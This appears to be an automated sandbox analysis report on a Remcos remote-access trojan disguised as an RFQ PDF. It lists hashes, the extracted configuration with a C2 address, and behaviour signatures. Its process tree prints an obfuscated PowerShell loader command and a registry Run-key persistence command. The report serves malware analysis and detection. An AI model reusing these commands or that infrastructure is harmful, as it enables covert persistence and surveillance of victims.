Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    13-08-2024 12:59

General

  • Target

    RFQ-7H87-F8R-pdf.exe

  • Size

    1.1MB

  • MD5

    cb51d861a22f76d51151f7012543c356

  • SHA1

    e9fb05f464ee886239db485e7ee764a036778f77

  • SHA256

    3b97b5da457f961783873c0c1f09924e4e1b16931811a9118a6185290103b918

  • SHA512

    5a4d7288c1b3a943e97ea754e5a741b90d822b8beb5e496cdc3dbd5c9107597ecc1b60aaaa296774c77832a6967b2bd0b2e14d48e3f64a368397c1dfd31898ee

  • SSDEEP

    24576:nPYmu2QnZI/uOnFFhCaMfXa1QhNBQVjTRUKrkeS+2rbFeL:9QUCJasNBQVRTHm/c

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

45.95.169.139:2403

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-51282S

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle minimized " $Cocytus=Get-Content 'C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne';$Ambassadrmde=$Cocytus.SubString(57807,3);.$Ambassadrmde($Cocytus)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Program Files (x86)\windows mail\wab.exe
        "C:\Program Files (x86)\windows mail\wab.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1500
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helias" /t REG_EXPAND_SZ /d "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\Chenillernes\').Rytmisere;%Sicknessproof% ($Housecleaning)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2436
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helias" /t REG_EXPAND_SZ /d "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\Chenillernes\').Rytmisere;%Sicknessproof% ($Housecleaning)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:1448

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne

    Filesize

    56KB

    MD5

    99360cbea01ba5d275ab8d13defef9e6

    SHA1

    877c8b2a325b989afd8692043026cdfe45ee2864

    SHA256

    6b66692c69cfb96bfb20a35c1b810ececaa9c3e1674e35ec46bd93108b12d4a0

    SHA512

    22236972fe8232239d37602dd41f828f52a820c76bb2407ee02c09b89472f6d5d5c252ba638ea281c9922f793af8cf2b67bbc61c3c9ac29c904eadb54784b303

  • C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Valutakursernes.Dve

    Filesize

    348KB

    MD5

    c5193b51055addd729bd7160c6612044

    SHA1

    0cc227f487327ac49a0a582ba8014d92d120207f

    SHA256

    18e4703c2fd844f8a5d2bfe938b1ee9ced57092d9a80bca98a7caafb4954df3c

    SHA512

    67b8a069575fd7d11d12a3794e3e101a655546dfb3e216ef2700704db9c9cee7ed358376b89d031cb2a0d2f2c357eff59555701403c185476c18ab84633e93b9

  • memory/1500-103-0x00000000006A0000-0x0000000001702000-memory.dmp

    Filesize

    16.4MB

  • memory/1500-100-0x00000000006A0000-0x0000000001702000-memory.dmp

    Filesize

    16.4MB

  • memory/1500-97-0x00000000006A0000-0x0000000001702000-memory.dmp

    Filesize

    16.4MB

  • memory/2972-92-0x00000000736F0000-0x0000000073C9B000-memory.dmp

    Filesize

    5.7MB

  • memory/2972-85-0x00000000736F1000-0x00000000736F2000-memory.dmp

    Filesize

    4KB

  • memory/2972-89-0x00000000736F0000-0x0000000073C9B000-memory.dmp

    Filesize

    5.7MB

  • memory/2972-94-0x00000000736F0000-0x0000000073C9B000-memory.dmp

    Filesize

    5.7MB

  • memory/2972-95-0x0000000006680000-0x00000000086F6000-memory.dmp

    Filesize

    32.5MB

  • memory/2972-96-0x00000000736F0000-0x0000000073C9B000-memory.dmp

    Filesize

    5.7MB

  • memory/2972-88-0x00000000736F0000-0x0000000073C9B000-memory.dmp

    Filesize

    5.7MB

  • memory/2972-87-0x00000000736F0000-0x0000000073C9B000-memory.dmp

    Filesize

    5.7MB

  • memory/2972-86-0x00000000736F0000-0x0000000073C9B000-memory.dmp

    Filesize

    5.7MB